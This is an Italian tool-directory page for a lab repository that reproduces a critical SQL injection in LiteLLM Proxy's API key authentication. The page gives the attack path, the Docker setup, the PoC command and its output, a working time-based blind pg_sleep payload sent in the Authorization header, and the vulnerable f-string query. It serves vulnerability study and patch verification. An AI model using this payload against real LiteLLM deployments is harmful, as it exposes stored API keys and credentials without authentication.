Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-42208_lab — Ambiente di riproduzione per una vulnerabilità critica di SQL injection nell'autenticazione delle chiavi API di LiteLLM Proxy, con PoC blind basato sul tempo e configurazione Docker per i test. | Kitploit
Strumenti/GitHubGitHub/imjdl/cve-2026-42208_lab
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneLab e Pratica
GitHubimjdl/cve-2026-42208_lab

CVE-2026-42208_lab

Ambiente di riproduzione per una vulnerabilità critica di SQL injection nell'autenticazione delle chiavi API di LiteLLM Proxy, con PoC blind basato sul tempo e configurazione Docker per i test.

Vedi Repository
4 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

SQL Injection in LiteLLM Proxy (GHSA-r75f-5x8p-qvmc)

Un ambiente di riproduzione per la vulnerabilità di SQL injection nel flusso di autenticazione delle chiavi API di LiteLLM Proxy.

Riepilogo della vulnerabilità

ElementoDettaglio
AdvisoryGHSA-r75f-5x8p-qvmc
TipoSQL Injection (CWE-89)
GravitàCritica
Versioni interessatelitellm >=1.81.16, <1.83.7
Corretta inlitellm >=1.83.7 (commit 4dc416ee74)

Percorso di attacco

L'iniezione avviene nel percorso del callback di gestione degli errori, non nel flusso di autenticazione principale. Quando viene inviato un token senza prefisso sk-, l'asserzione fallisce e il token grezzo (non hashato) passa attraverso la catena di callback di errore fino a una query SQL che utilizza l'interpolazione di stringhe f-string:

root@kitploit:~
HTTP request: Authorization: Bearer <payload>
  → assert api_key.startswith("sk-") fallisce
  → _handle_authentication_error(api_key=RAW_TOKEN)
  → post_call_failure_hook
  → _enrich_failure_metadata_with_key_info
  → get_key_object(hashed_token=RAW_TOKEN)
  → get_data(token=RAW_TOKEN, table_name="combined_view")
  → SQL: WHERE v.token = '{RAW_TOKEN}'  ← INIEZIONE

Il percorso di autenticazione principale con sk- non è sfruttabile perché i token vengono sottoposti a hash SHA256 prima di raggiungere la query, producendo solo caratteri [0-9a-f].

Riproduzione

1. Avvia l'ambiente vulnerabile

root@kitploit:~
docker compose up -d

Questo avvia LiteLLM Proxy (v1.83.3-stable) con un backend PostgreSQL.

2. Esegui il PoC

root@kitploit:~
pip install requests
python poc_litellm_sqli.py --target http://localhost:4000 --delay 5

Output atteso

root@kitploit:~
╔═══════════════════════════════════════════════════════════╗
║   LiteLLM Proxy SQL Injection PoC                        ║
║   GHSA-r75f-5x8p-qvmc | CVE: Pending                    ║
║   Affected: litellm >=1.81.16, <1.83.7                  ║
║   Attack: time-based blind via error-handling callback    ║
╚═══════════════════════════════════════════════════════════╝

[*] Checking target: http://localhost:4000
[+] Target alive (status 200)

[*] Measuring baseline (3 requests)...
  Baseline avg: 0.022s

[*] Control: non-sk- token without pg_sleep...
  Control: 0.024s

=======================================================
  Time-based Blind SQL Injection (pg_sleep=5s)
=======================================================
  Payload: ' OR (SELECT 1 FROM (SELECT pg_sleep(5)) t) IS NOT NULL--
  Response: 5.018s

[+] VULNERABLE! pg_sleep(5) confirmed

Dettagli tecnici

Costruzione del payload

La funzione pg_sleep() di PostgreSQL restituisce void, che non può apparire in un contesto booleano (OR). Il payload la racchiude in una subquery per evitare l'errore di tipo:

root@kitploit:~
' OR (SELECT 1 FROM (SELECT pg_sleep(N)) t) IS NOT NULL--

Questa viene iniettata nella query combined_view in litellm/proxy/utils.py:

root@kitploit:~
# Codice vulnerabile (<=v1.83.3)
sql_query = f"""
    SELECT v.*, t.spend AS team_spend, ...
    FROM "LiteLLM_VerificationToken" AS v
    LEFT JOIN ...
    WHERE v.token = '{token}'   ← interpolazione f-string dell'input utente
"""

Impatto

  • Senza autenticazione — non è richiesta alcuna chiave API valida
  • Accesso in lettura al database — estrazione di qualsiasi dato tramite iniezione cieca (chiavi API, credenziali, configurazione)
  • Tutte le chiavi dei provider LLM gestite dal proxy sono a rischio

Riferimenti

  • GitHub Security Advisory
  • Commit di correzione 4dc416ee74
  • Rapporto di threat intelligence Sysdig TRT — sfruttamento osservato in natura entro 36 ore dalla divulgazione
Scarica lo strumento